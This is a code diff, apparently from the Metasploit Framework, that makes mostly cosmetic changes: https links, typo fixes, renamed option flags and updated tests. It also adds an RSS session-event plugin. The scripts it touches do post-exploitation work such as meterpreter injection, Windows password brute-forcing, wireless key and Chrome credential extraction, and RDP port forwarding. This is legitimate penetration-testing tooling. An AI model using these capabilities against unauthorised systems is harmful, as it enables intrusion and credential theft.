     if handler['GetLastError'] == 0
-      vprint_status("ICMP raw socket created successfully")
+      vprint_good("ICMP raw socket created successfully")
     else
       print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
       return nil
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Post
 
     r = client.railgun.ws2_32.bind(handler['return'],"\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00"*8 ,16)
     if r['GetLastError'] == 0
-      vprint_status("ICMP socket successfully bound to #{session.session_host}")
+      vprint_good("ICMP socket successfully bound to #{session.session_host}")
     else
       print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}")
       return nil
diff --git a/modules/post/windows/recon/resolve_ip.rb b/modules/post/windows/recon/resolve_ip.rb
index 583f39eb5e..fd1aabc6cf 100644
--- a/modules/post/windows/recon/resolve_ip.rb
+++ b/modules/post/windows/recon/resolve_ip.rb
@@ -1,7 +1,7 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -48,6 +48,5 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
 
diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb
index f4fda88897..24801f9bdc 100644
--- a/modules/post/windows/wlan/wlan_bss_list.rb
+++ b/modules/post/windows/wlan/wlan_bss_list.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -168,7 +168,7 @@ class MetasploitModule < Msf::Post
           bss['physical'] = "Unknown Association Type"
       end
 
-      #Get the Recieved Signal Strength Indicator
+      #Get the Received Signal Strength Indicator
       pointer = (pointer + 4)
       rssi = @host_process.memory.read(pointer,4)
       rssi = getle_signed_int(rssi)
@@ -254,5 +254,4 @@ class MetasploitModule < Msf::Post
     sguid << "-" + aguid[20,12] + "}"
     return sguid
   end
-
 end
diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb
index 29c34e46df..d2d870feff 100644
--- a/modules/post/windows/wlan/wlan_current_connection.rb
+++ b/modules/post/windows/wlan/wlan_current_connection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -311,5 +311,4 @@ class MetasploitModule < Msf::Post
     sguid << "-" + aguid[20,12] + "}"
     return sguid
   end
-
 end
diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb
index 39abccf8d3..baa4f3fa2a 100644
--- a/modules/post/windows/wlan/wlan_disconnect.rb
+++ b/modules/post/windows/wlan/wlan_disconnect.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -346,5 +346,4 @@ class MetasploitModule < Msf::Post
     sguid << "-" + aguid[20,12] + "}"
     return sguid
   end
-
 end
diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb
index 99795ccfc7..fd87fb713e 100644
--- a/modules/post/windows/wlan/wlan_profile.rb
+++ b/modules/post/windows/wlan/wlan_profile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Post
       'Name'          => 'Windows Gather Wireless Profile',
       'Description'   => %q{
         This module extracts saved Wireless LAN profiles. It will also try to decrypt
-        the network key material. Behaviour is slightly different bewteen OS versions
+        the network key material. Behavior is slightly different between OS versions
         when it comes to WPA. In Windows Vista/7 we will get the passphrase. In
         Windows XP we will get the PBKDF2 derived key.
       },
@@ -171,5 +171,4 @@ class MetasploitModule < Msf::Post
     sguid << "-" + aguid[20,12] + "}"
     return sguid
   end
-
 end
diff --git a/msfd b/msfd
index 10d79794d2..fddd17fe05 100755
--- a/msfd
+++ b/msfd
@@ -19,8 +19,6 @@ end
 $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
 require 'msfenv'
 
-
-
 $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
 
 require 'msf/base'
diff --git a/msfrpc b/msfrpc
index cd6df8cd10..c75a8ff47d 100755
--- a/msfrpc
+++ b/msfrpc
@@ -17,8 +17,6 @@ end
 $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
 require 'msfenv'
 
-
-
 $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
 
 require 'rex/parser/arguments'
@@ -59,7 +57,6 @@ arguments.parse(ARGV) do |opt, idx, val|
   end
 end
 
-
 unless opts['ServerHost']
   $stderr.puts "[-] Error: a server IP must be specified (-a)"
   $stderr.puts arguments.usage
@@ -93,4 +90,3 @@ while(ARGV.shift)
 end
 
 Rex::Ui::Text::IrbShell.new(binding).run
-
diff --git a/msfrpcd b/msfrpcd
index bfb882c3e3..e3c5103c22 100755
--- a/msfrpcd
+++ b/msfrpcd
@@ -17,8 +17,6 @@ end
 $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
 require 'msfenv'
 
-
-
 $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
 
 require 'rex/parser/arguments'
diff --git a/msfvenom b/msfvenom
index 2766360baf..eb7b7f6dbb 100755
--- a/msfvenom
+++ b/msfvenom
@@ -16,7 +16,6 @@ require 'msf/ui'
 require 'msf/base'
 require 'msf/core/payload_generator'
 
-
 class MsfVenomError < StandardError; end
 class HelpError < StandardError; end
 class UsageError < MsfVenomError; end
diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb
index 9900ef806a..4822c8271e 100644
--- a/plugins/aggregator.rb
+++ b/plugins/aggregator.rb
@@ -124,7 +124,7 @@ module Msf
 
         group = "default"
 
-        if (@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0)
+        if (@host && @host.length > 0) && (@port && @port.length > 0 && @port.to_i > 0)
           config = { "#{group}" => { 'server' => @host, 'port' => @port } }
           ::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) }
           print_good("#{Aggregator_yaml} created.")
@@ -376,7 +376,7 @@ module Msf
 
       def aggregator_login
 
-        if !((@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0))
+        if !((@host && @host.length > 0) && (@port && @port.length > 0 && @port.to_i > 0))
           usage_connect
           return
         end
diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb
index cc49d292b7..e9d6956a38 100644
--- a/plugins/msgrpc.rb
+++ b/plugins/msgrpc.rb
@@ -21,12 +21,12 @@ class Plugin::MSGRPC < Msf::Plugin
   #
   # The default local hostname that the server listens on.
   #
-  DefaultHost = "127.0.0.1"
+  DefaultHost ||= "127.0.0.1"
 
   #
   # The default local port that the server listens on.
   #
-  DefaultPort = 55552
+  DefaultPort ||= 55552
 
   #
   # ServerPort
diff --git a/plugins/nessus.rb b/plugins/nessus.rb
index 748e28fe1a..50fac05d76 100644
--- a/plugins/nessus.rb
+++ b/plugins/nessus.rb
@@ -516,26 +516,16 @@ module Msf
             return
           when '-S', '--search'
             search_term = /#{args.shift}/nmi
+          else
+            type = arg
           end
         end
 
         if !nessus_verify_token
           return
         end
-        case args.length
-        when 1
-          type = args[0]
-        else
-          print_status("Usage: ")
-          print_status("nessus_template_list <scan> | <policy>")
-          print_status("Example:> nessus_template_list scan")
-          print_status("OR")
-          print_status("nessus_template_list policy")
-          print_status("Returns a list of information about the scan or policy templates..")
-          return
-        end
         if type.in?(['scan', 'policy'])
-          list=@n.list_template(type)
+          list=@n.list_templates(type)
         else
           print_error("Only scan and policy are valid templates")
           return
diff --git a/plugins/pcap_log.rb b/plugins/pcap_log.rb
index d95aa8abf9..a5d940814d 100644
--- a/plugins/pcap_log.rb
+++ b/plugins/pcap_log.rb
@@ -6,7 +6,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 # $Revision$
diff --git a/plugins/rssfeed.rb b/plugins/rssfeed.rb
new file mode 100644
index 0000000000..68df5a387c
--- /dev/null
+++ b/plugins/rssfeed.rb
@@ -0,0 +1,120 @@
+module Msf
+
+###
+#
+# This class hooks all session events and puts it into an RSS feed
+#
+###
+
+class Plugin::EventRSS < Msf::Plugin
+
+  attr_accessor :items, :queue, :queue_thread
+
+  include Msf::SessionEvent
+
+  def add_event(event)
+    self.queue.push(event)
+  end
+
+  def generate_feed(newitem)
+    items.unshift(newitem)
+    feed = RSS::Maker.make("atom") do |maker|
+      maker.channel.author = "msfconsole"
+      maker.channel.updated = Time.new.to_s
+      maker.channel.about = "https://metasploit.com"
+      maker.channel.title = "msfconsole rss feed"
+
+      items.each do |rssitem|
+        maker.items.new_item do |item|
+          item.link = rssitem[:link]
+          item.title = rssitem[:title]
+          item.updated = rssitem[:date]
+          item.summary = rssitem[:content]
+        end
+      end
+    end
+    File.open("feed.rss", 'w') {|f| f.write(feed) }
+  end
+
+  def create_session_item(session, status)
+    if status == "created" 
+      select(nil, nil, nil, 25)
+    end
+    title = "#{session.type} session - #{session.sid} #{status}."
+    content = ""
+    if session.workspace
+      content << "Workspace:\t#{session.workspace}\n"
+    end
+    content << "Session Information: #{session.info}"
+    add_event({title: title, date: Time.now.to_s, link: "https://metasploit.com", content: content})
+  end
+
+  def on_session_open(session)
+    create_session_item(session, "created")
+  end
+
+  def on_session_close(session, reason='')
+    create_session_item(session, "closed")
+  end
+
+  def on_session_fail(reason='')
+  end
+
+  def on_plugin_load
+    add_event({title: "RSS Plugin Loaded", date: Time.now.to_s, link: "https://metasploit.com/", content: "N/A"})
+  end
+
+  def on_plugin_unload
+    generate_feed({title: "RSS Plugin Unloaded", date: Time.now.to_s, link: "https:/metasploit.com/", content: "N/A"})
+  end
+
+  def start_event_queue
+    self.queue_thread = Rex::ThreadFactory.spawn("rss_plugin", false) do
+      begin
+      while(true)
+        while(event = self.queue.shift)
+          generate_feed(event)
+        end
+        select(nil, nil, nil, 0.25)
+      end
+      rescue ::Exception => e
+        print_status("RSS plugin: fatal error #{e} #{e.backtrace}")
+      end
+    end
+  end
+
+  def stop_event_queue
+    self.queue_thread.kill if self.queue_thread
+    self.queue_thread = nil
+    self.queue.clear
+  end
+
+
+  def initialize(framework, opts)
+    require 'rss'
+    super
+
+    @items = []
+    self.queue = Queue.new
+    self.framework.events.add_session_subscriber(self)
+    start_event_queue
+
+    self.on_plugin_load
+  end
+
+  def cleanup
+    self.on_plugin_unload
+    self.framework.events.remove_session_subscriber(self)
+    stop_event_queue
+  end
+
+  def name
+    "rss"
+  end
+
+  def desc
+    "Create an RSS feed of events"
+  end
+
+end
+end
diff --git a/plugins/wiki.rb b/plugins/wiki.rb
index aac1064c53..c6727656b9 100644
--- a/plugins/wiki.rb
+++ b/plugins/wiki.rb
@@ -1,6 +1,6 @@
 ##
 #
-# This plugin requires Metasploit: http://metasploit.com/download
+# This plugin requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 #
 ##
diff --git a/script/cucumber b/script/cucumber
deleted file mode 100755
index 7fa5c92086..0000000000
--- a/script/cucumber
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/usr/bin/env ruby
-
-vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
-if vendored_cucumber_bin
-  load File.expand_path(vendored_cucumber_bin)
-else
-  require 'rubygems' unless ENV['NO_RUBYGEMS']
-  require 'cucumber'
-  load Cucumber::BINARY
-end
diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb
index f1f5f062c6..a9d6ee97ce 100644
--- a/scripts/meterpreter/dumplinks.rb
+++ b/scripts/meterpreter/dumplinks.rb
@@ -66,7 +66,6 @@ end
 def enum_users(os)
   users = []
   userinfo = {}
-  user = @client.sys.config.getuid
   userpath = nil
   useroffcpath = nil
   sysdrv = @client.sys.config.getenv('SystemDrive')
@@ -79,7 +78,7 @@ def enum_users(os)
     lnkpath = "\\Recent\\"
     officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
   end
-  if user == "NT AUTHORITY\\SYSTEM"
+  if @client.sys.config.is_system?
     print_status("Running as SYSTEM extracting user list...")
     @client.fs.dir.foreach(userpath) do |u|
       next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb
index 8fca66c274..a79ec0339c 100644
--- a/scripts/meterpreter/enum_chrome.rb
+++ b/scripts/meterpreter/enum_chrome.rb
@@ -145,7 +145,7 @@ def process_files(username)
       db.close
       rows.map! do |row|
         res = Hash[*columns.zip(row).flatten]
-        if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
+        if item[:encrypted_fields] && !client.sys.config.is_system?
           if @host_info['Architecture'] !~ /x64/
             item[:encrypted_fields].each do |field|
               print_good("decrypting field '#{field}'...")
diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb
index 64b51eae2c..51fda67ea9 100644
--- a/scripts/meterpreter/enum_vmware.rb
+++ b/scripts/meterpreter/enum_vmware.rb
@@ -228,7 +228,6 @@ end
 def enum_users
   os = @client.sys.config.sysinfo['OS']
   users = []
-  user = @client.sys.config.getuid
   path4users = ""
   sysdrv = @client.sys.config.getenv('SystemDrive')
 
@@ -240,7 +239,7 @@ def enum_users
     profilepath = "\\Application Data\\VMware\\"
   end
 
-  if user == "NT AUTHORITY\\SYSTEM"
+  if @client.sys.config.is_system?
     print_status("Running as SYSTEM extracting user list..")
     @client.fs.dir.foreach(path4users) do |u|
       userinfo = {}
diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb
index 520ce1f760..4a1754a054 100644
--- a/scripts/meterpreter/getgui.rb
+++ b/scripts/meterpreter/getgui.rb
@@ -176,7 +176,7 @@ if client.platform == 'windows'
         print_status("Starting the port forwarding at local port #{lport}")
         client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
       end
-      print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
+      print_status("For cleanup use command: run multi_console_command -r #{@dest}")
     else
       usage
     end
diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb
index 50035d78c6..b0a72ac47f 100644
--- a/scripts/meterpreter/gettelnet.rb
+++ b/scripts/meterpreter/gettelnet.rb
@@ -166,7 +166,7 @@ if enbl or (usr!= nil && pass != nil)
   if (usr!= nil && pass != nil)
     addrdpusr(usr, pass)
   end
-  print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
+  print_status("For cleanup use command: run multi_console_command -r #{@dest}")
 
 else
   usage
diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb
index d456741102..9bcdcdb94f 100644
--- a/scripts/meterpreter/multi_console_command.rb
+++ b/scripts/meterpreter/multi_console_command.rb
@@ -17,9 +17,9 @@
 # Setting Arguments
 @@exec_opts = Rex::Parser::Arguments.new(
   "-h" => [ false,"Help menu."                        ],
-  "-sl" => [ false,"Hide commands output for work in background sessions"],
-  "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
-  "-rc" => [ true,"Text file with list of commands, one per line."]
+  "-s" => [ false,"Hide commands output for work in background sessions"],
+  "-c" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
+  "-r" => [ true,"Text file with list of commands, one per line."]
 )
 
 commands = nil
@@ -36,9 +36,9 @@ end
 @@exec_opts.parse(args) { |opt, idx, val|
   case opt
 
-  when "-cl"
+  when "-c"
     commands = val.split(",")
-  when "-rc"
+  when "-r"
     script = val
     if not ::File.exist?(script)
       raise "Command List File does not exists!"
@@ -51,7 +51,7 @@ end
 
   when "-h"
     help = true
-  when "-sl"
+  when "-s"
     silence = true
   end
 }
diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb
index af2c745a6c..684573b316 100644
--- a/scripts/meterpreter/multi_meter_inject.rb
+++ b/scripts/meterpreter/multi_meter_inject.rb
@@ -22,9 +22,9 @@ start_handler = nil
   "-h"  => [ false,  "Help menu." ],
   "-p"  => [ true,   "The port on the remote host where Metasploit is listening (default: 4444)."],
   "-m"  => [ false,  "Start exploit/multi/handler for return connection."],
-  "-pt" => [ true,   "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],
-  "-mr" => [ true,   "Provide multiple IP addresses for connections separated by comma."],
-  "-mp" => [ true,   "Provide multiple PID for connections separated by comma one per IP."]
+  "-P" => [ true,   "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],
+  "-I" => [ true,   "Provide multiple IP addresses for connections separated by comma."],
+  "-d" => [ true,   "Provide multiple PID for connections separated by comma one per IP."]
 )
 meter_type = client.platform
 
@@ -112,11 +112,11 @@ end
     lport = val.to_i
   when "-m"
     start_handler = true
-  when "-pt"
+  when "-P"
     payload_type = val
-  when "-mr"
+  when "-I"
     multi_ip = val.split(",")
-  when "-mp"
+  when "-d"
     multi_pid = val.split(",")
   end
 }
diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb
index 2b0392aa8b..e674173e66 100644
--- a/scripts/meterpreter/multicommand.rb
+++ b/scripts/meterpreter/multicommand.rb
@@ -16,9 +16,9 @@ wininfo = client.sys.config.sysinfo
 # Setting Arguments
 @@exec_opts = Rex::Parser::Arguments.new(
   "-h" => [ false,"Help menu."                        ],
-  "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
+  "-c" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
   "-f" => [ true,"File where to saved output of command."],
-  "-rc" => [ true,"Text file with list of commands, one per line."]
+  "-r" => [ true,"Text file with list of commands, one per line."]
 )
 #Setting Argument variables
 commands = []
@@ -77,9 +77,9 @@ end
 @@exec_opts.parse(args) { |opt, idx, val|
   case opt
 
-  when "-cl"
+  when "-c"
     commands = val.split(",")
-  when "-rc"
+  when "-r"
     script = val
     if not ::File.exist?(script)
       raise "Command List File does not exists!"
diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb
index 9118fb5831..5d11e0d2bc 100644
--- a/scripts/meterpreter/multiscript.rb
+++ b/scripts/meterpreter/multiscript.rb
@@ -15,8 +15,8 @@ session = client
 
 @@exec_opts = Rex::Parser::Arguments.new(
   "-h" => [ false,"Help menu."                        ],
-  "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."],
-  "-rc" => [ true,"Text file with list of commands, one per line."]
+  "-c" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."],
+  "-r" => [ true,"Text file with list of commands, one per line."]
 )
 #Setting Argument variables
 commands = ""
@@ -53,9 +53,9 @@ end
 @@exec_opts.parse(args) do |opt, idx, val|
   case opt
 
-  when "-cl"
+  when "-c"
     commands = val.gsub(/;/,"\n")
-  when "-rc"
+  when "-r"
     script = val
     if not ::File.exist?(script)
       raise "Script List File does not exists!"
diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb
index 3b7445543e..1642efb752 100644
--- a/scripts/meterpreter/netenum.rb
+++ b/scripts/meterpreter/netenum.rb
@@ -15,13 +15,13 @@
 @@exec_opts = Rex::Parser::Arguments.new(
   "-h"  => [ false, "Help menu." ],
   "-r"  => [ true,  "The target address range or CIDR identifier" ],
-  "-ps" => [ false, "To Perform Ping Sweep on IP Range" ],
-  "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ],
-  "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ],
-  "-hl" => [ true,  "File with Host List for DNS Forward Lookup" ],
+  "-p" => [ false, "To Perform Ping Sweep on IP Range" ],
+  "-l" => [ false, "To Perform DNS Reverse Lookup on IP Range" ],
+  "-f" => [ false, "To Perform DNS Forward Lookup on host list and domain" ],
+  "-H" => [ true,  "File with Host List for DNS Forward Lookup" ],
   "-d"  => [ true,  "Domain Name for DNS Forward Lookup" ],
-  "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ],
-  "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ]
+  "-x" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ],
+  "-s" => [ false, "To Perform Service Record DNS lookup for a domain" ]
 )
 session = client
 host,port = session.session_host, session.session_port
@@ -285,19 +285,19 @@ srvrc = nil
 # Parsing of Options
 @@exec_opts.parse(args) { |opt, idx, val|
   case opt
-  when "-sr"
+  when "-s"
     srvrc = 1
-  when "-rl"
+  when "-l"
     rvrslkp = 1
-  when "-fl"
+  when "-f"
     frdlkp = 1
-  when "-ps"
+  when "-p"
     pngsp = 1
-  when "-st"
+  when "-x"
     stdlkp = 1
   when "-d"
     dom = val
-  when "-hl"
+  when "-H"
     hostlist = val
   when "-r"
     range = val
@@ -354,9 +354,9 @@ if client.platform == 'windows'
   else
     print("Network Enumerator Meterpreter Script\n" +
       "Usage:\n" +
-      "\tnetenum -r <value> (-ps | -rl)\n" +
-      "\tnetenum -d <value> (-st | -sr)\n" +
-      "\tnetenum -d <value> -lh <value> -fl\n" +
+      "\tnetenum -r <value> (-p | -l)\n" +
+      "\tnetenum -d <value> (-x | -s)\n" +
+      "\tnetenum -d <value> -H <value> -fl\n" +
       @@exec_opts.usage)
   end
 else
diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb
index b4429cab05..8ca86b3be6 100644
--- a/scripts/meterpreter/packetrecorder.rb
+++ b/scripts/meterpreter/packetrecorder.rb
@@ -26,7 +26,7 @@ log_dest = nil
   "-h"  => [ false, "Help menu."],
   "-t"  => [ true,  "Time interval in seconds between recollection of packet, default 30 seconds."],
   "-i"  => [ true,  "Interface ID number where all packet capture will be done."],
-  "-li" => [ false, "List interfaces that can be used for capture."],
+  "-L" => [ false, "List interfaces that can be used for capture."],
   "-l"  => [ true,  "Specify and alternate folder to save PCAP file."]
 )
 meter_type = client.platform
@@ -192,7 +192,7 @@ end
     int_id = val.to_i
   when "-l"
     log_dest = val
-  when "-li"
+  when "-L"
     list_int = 1
   when "-t"
     rec_time = val
diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb
index 811bad7f41..18787a6fee 100644
--- a/scripts/meterpreter/panda_2007_pavsrv51.rb
+++ b/scripts/meterpreter/panda_2007_pavsrv51.rb
@@ -2,7 +2,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 ##
diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb
index 0063572253..b8ef0c04e2 100644
--- a/scripts/meterpreter/pml_driver_config.rb
+++ b/scripts/meterpreter/pml_driver_config.rb
@@ -2,7 +2,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 ##
diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb
index a54ae6f857..3bee975373 100644
--- a/scripts/meterpreter/scheduleme.rb
+++ b/scripts/meterpreter/scheduleme.rb
@@ -21,7 +21,7 @@ session = client
   "-h" => [ false,"Help menu." ],
   "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"],
   "-d" => [ false,"Daily." ],
-  "-hr" => [ true,"Every specified hours 1-23."],
+  "-H" => [ true,"Every specified hours 1-23."],
   "-m" => [ true, "Every specified amount of minutes 1-1439"],
   "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"],
   "-l" => [ false,"When a user logs on."],
@@ -214,7 +214,7 @@ password = nil
   when "-d"
     tmmod = val
     schtype = "daily"
-  when "-hr"
+  when "-H"
     tmmod = val
     schtype = "hourly"
   when "-m"
@@ -241,7 +241,7 @@ password = nil
   end
 
 }
-if client.platform != 'windows'
+if client.platform == 'windows'
   if helpcall == 1
     usage()
   elsif cmd == nil && file == nil
diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb
index 832f3a5cb2..18263d52e7 100644
--- a/scripts/meterpreter/winbf.rb
+++ b/scripts/meterpreter/winbf.rb
@@ -12,7 +12,7 @@
   "-h"  => [ false,  "\tHelp menu."],
   "-t"  => [ true,  "\tTarget IP Address"],
   "-p"  => [ true,  "\tPassword List"],
-  "-cp" => [ false,  "\tCheck Local Machine Password Policy"],
+  "-c" => [ false,  "\tCheck Local Machine Password Policy"],
   "-L"  => [ true,  "\tUsername List to be brute forced"],
   "-l"  => [ true,  "\tLogin name to be brute forced"]
 )
@@ -164,7 +164,7 @@ unsupported if client.platform != 'windows'
     userlist = val
     ulopt = 1
 
-  when "-cp"
+  when "-c"
     chkpolicy(session)
     exit
   when "-p"
diff --git a/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb b/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb
index 0803f16694..2d92919566 100644
--- a/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb
+++ b/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb b/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb
index 0992ae4d3e..e63ea2b902 100644
--- a/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb
+++ b/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/spec/file_fixtures/modules/payloads/payload_tidy.rb b/spec/file_fixtures/modules/payloads/payload_tidy.rb
index a20c8dcea8..7346a48111 100644
--- a/spec/file_fixtures/modules/payloads/payload_tidy.rb
+++ b/spec/file_fixtures/modules/payloads/payload_tidy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/spec/lib/msf/core/opt_float_spec.rb b/spec/lib/msf/core/opt_float_spec.rb
new file mode 100644
index 0000000000..76d323614a
--- /dev/null
+++ b/spec/lib/msf/core/opt_float_spec.rb
@@ -0,0 +1,25 @@
+# -*- coding:binary -*-
+
+require 'spec_helper'
+require 'msf/core/option_container'
+
+RSpec.describe Msf::OptFloat do
+  valid_values = [
+    { :value => "1",    :normalized => 1.0 },
+    { :value => "1.1",  :normalized => 1.1 },
+    { :value => "0",    :normalized => 0.0 },
+    { :value => "-1",   :normalized => -1.0 },
+    { :value => "01",   :normalized => 1.0 },
+    { :value => "0xff", :normalized => 255.0 },
+  ]
+  invalid_values = [
+    { :value => "0xblah",  },
+    { :value => "-12cat",  },
+    { :value => "covfefe", },
+    { :value => "NaN",     },
+  ]
+
+  it_behaves_like "an option", valid_values, invalid_values, 'float'
+end
+
+
diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
index 6b41bc583b..d62f208a17 100644
--- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
+++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
@@ -148,7 +148,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
         expect(@output).to match_array [
           "Usage: loot <options>",
           " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
-          "  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]",
+          "  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
           "  Del: loot -d [addr1 addr2 ...]",
           "  -a,--add          Add loot to the list of addresses, instead of listing",
           "  -d,--delete       Delete *all* loot matching host and type",
@@ -288,7 +288,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
       it "should list default workspace" do
         db.cmd_workspace
         expect(@output).to match_array [
-          "* default"
+          "%red* default%clr"
         ]
       end
 
@@ -298,7 +298,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
         db.cmd_workspace
         expect(@output).to match_array [
           "  default",
-          "* foo"
+          "%red* foo%clr"
         ]
       end
     end
diff --git a/spec/lib/msf/ui/console/command_dispatcher/modules_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/modules_spec.rb
deleted file mode 100644
index d993e4eda7..0000000000
--- a/spec/lib/msf/ui/console/command_dispatcher/modules_spec.rb
